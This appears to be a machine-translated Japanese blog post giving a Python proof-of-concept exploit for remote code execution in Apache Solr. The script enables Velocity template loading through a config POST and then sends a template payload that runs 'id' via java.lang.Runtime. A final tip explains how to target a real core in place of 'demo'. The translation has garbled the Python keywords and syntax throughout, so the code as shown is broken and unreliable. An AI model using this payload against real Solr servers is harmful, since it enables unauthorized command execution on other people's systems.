Solrには最近、RCEの脆弱性のうちのビットを再現しています
#コーディングは:UTF-8
のインポート要求が
argparseインポート
urllibはインポートの解析から
__name__ == "__main__"場合:
パーサ= argparse.ArgumentParser()
parser.add_argument( ' - URL'、種類= STR、ヘルプ= 'URLを表示します' )
引数= parser.parse_args()
場合args.url:
urlparse = parse.urlparse(args.url)
URL = urlparse.scheme + '://' + urlparse.netloc + '/'
ヘッダー= {
'ユーザエージェント' : 'のMozilla / 5.0(のWindows NT 6.1; WOW64; RV:40.0)のGecko / 20100101 Firefoxの/ 40.1'、
"コンテンツタイプ": "アプリケーション/ JSON"
}
DATAS = {
"更新queryresponsewriter":{
"スタートアップ": "怠惰"、
"名前": "速度"、
"クラス": "solr.VelocityResponseWriter"、
"template.base.dir": ""、
"solr.resource.loader.enabled": "真"、
「params.resource.loader。有効": "真"
}
}
POST_URL = parse.urljoin(URLは、 "/ Solrの/デモ/設定")
RESP = requests.post(POST_URL、ヘッダ=ヘッダ、データ=件のデータが、= Falseの検証)
GET_URL = parse.urljoin(URL、「/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x .class.forName(%27java.lang.Runtime%27))+%の23set($ CHR = $ x.class.forName(%27java.lang.Characterの%27))+%の23set($ STR = $ x.class .forName(%27java.lang.String%27))+%の23set($ EX = $ rt.getRuntime()。EXEC(%27id%27))+ $ ex.waitFor()+%の23set($アウト= $ ex.getInputStream())+%の23foreachは、($ iは+ IN + [1 .. $ out.available()])$ str.valueOf($ chr.toChars($ out.read()))%の23end」)
応答= requests.getは(GET_URLは、検証= False)が
ある場合、R response.textで"UID":
プリント( "存在Solrの远程代码执行漏洞!")
印刷( "\ n"は+ response.text)
他:
プリント(「不存在漏洞")
それ以外:
印刷(「欠落しているパラメータの--url」)
次のようにのpython3で書かれた、効果は次のとおりです。
これは、デモを使用して、ここで「/ Solrの/デモ/設定」のPOCを注目する価値がある、といないすべての環境は、デモノードと呼ばれ、実際のシナリオでは、コンソールのコア管理ビューをSolrにする必要があります